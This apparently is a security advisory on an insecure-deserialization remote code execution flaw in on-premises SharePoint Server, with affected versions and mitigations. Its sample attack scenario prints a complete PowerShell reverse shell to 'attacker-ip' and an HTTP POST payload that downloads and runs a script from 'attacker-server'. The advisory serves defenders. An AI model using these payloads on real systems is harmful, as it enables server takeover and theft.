Remote Code Execution & Exploit in Microsoft SharePoint Server

 Critical SharePoint RCE Exploit – Mitigations & Patch

Remote Code Execution in Microsoft SharePoint Server

Overview 

A critical vulnerability, CVE-2025-53770, has been discovered in on-premises Microsoft SharePoint Server, allowing unauthorized attackers to execute arbitrary code via deserialization of untrusted data. Microsoft has confirmed that exploits for this vulnerability exist in the wild, making it a high-priority threat for organizations using SharePoint.

With a CVSS base score of 9.8 (CRITICAL), this flaw poses a severe risk, as it can be exploited over a network without authentication. Microsoft is working on a comprehensive patch but has released mitigation steps to protect systems until an official update is available.

Technical Details 

Vulnerability Type: Insecure Deserialization

The flaw arises when SharePoint deserializes untrusted data without proper validation, leading to remote code execution (RCE). Attackers can craft malicious serialized objects and send them to a vulnerable SharePoint server, triggering the exploit.

Attack Vector 

• Network-based exploitation: Attackers do not need authentication to exploit this flaw.
• Exploitable via web requests: Malicious payloads can be delivered through crafted HTTP requests to SharePoint endpoints.

Affected Versions 

• Microsoft SharePoint Server 2019
• Microsoft SharePoint Server 2016
• Microsoft SharePoint Server 2013 (if still in use)
• Possibly earlier versions (under investigation)

Sample Attack Scenario

Step 1: Reconnaissance

An attacker scans a corporate network and identifies an exposed SharePoint Server 2019 instance running on https://sharepoint.corp.example.com.

Step 2: Crafting the Exploit

Using publicly available exploit code (or a custom script), the attacker generates a malicious serialized payload that, when deserialized by SharePoint, executes a reverse shell command:

# Example of a deserialization payload (simplified for illustration)
$payload = @{
    "__type" = "System.Windows.Data.ObjectDataProvider, PresentationFramework",
    "MethodName" = "Start",
    "ObjectInstance" = @{
        "__type" = "System.Diagnostics.Process, System",
        "StartInfo" = @{
            "__type" = "System.Diagnostics.ProcessStartInfo, System",
            "FileName" = "cmd.exe",
            "Arguments" = "/c powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""
        }
    }
}
$jsonPayload = ConvertTo-Json $payload -Depth 10

Step 3: Delivering the Payload

The attacker sends the payload to a vulnerable SharePoint endpoint (e.g., /_api/web/lists) via a crafted HTTP POST request:

POST /_api/web/lists HTTP/1.1
Host: sharepoint.corp.example.com
Content-Type: application/json
Accept: application/json

{
    "__type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
    "MethodName": "Start",
    "ObjectInstance": {
        "__type": "System.Diagnostics.Process, System",
        "StartInfo": {
            "__type": "System.Diagnostics.ProcessStartInfo, System",
            "FileName": "cmd.exe",
            "Arguments": "/c powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://attacker-server/shell.ps1')\"
        }
    }
}

Step 4: Gaining Remote Access

• If successful, the payload executes a PowerShell reverse shell, connecting back to the attacker’s server.
• The attacker now has full control over the SharePoint server and can escalate privileges, move laterally, or deploy ransomware.

Mitigation Steps (Until Patch is Released)

Microsoft recommends the following immediate actions to mitigate the risk:

1. Disable Deserialization in SharePoint

   • Apply Microsoft’s temporary workaround (if provided in the advisory).
   • Restrict access to SharePoint’s remote API endpoints via firewall rules.

2. Network Segmentation

   • Place SharePoint servers behind strict firewall policies.
   • Allow only trusted IPs to access SharePoint administration interfaces.

3. Monitor for Exploitation Attempts

   • Check IIS logs for suspicious POST requests to /_api/* or similar endpoints.
   • Look for unusual process executions (cmd.exe, powershell.exe spawning from w3wp.exe).

4. Apply the Patch Immediately Once Released

   • Microsoft is testing a fix—apply it as soon as it’s available.

Conclusion

CVE-2025-53770 is a critical, actively exploited vulnerability in Microsoft SharePoint Server. Organizations must act immediately to apply mitigations and monitor for signs of compromise. Since exploits are already in the wild, delaying action could lead to data breaches, ransomware attacks, or complete server takeover.

Stay tuned for Microsoft’s official patch and ensure all SharePoint instances are updated promptly.

Follow-up Actions:
✅ Apply mitigations now.
✅ Monitor logs for exploitation attempts.
✅ Prepare for emergency patching.

For further details, refer to Microsoft’s official advisory: Microsoft Security Response Center (MSRC).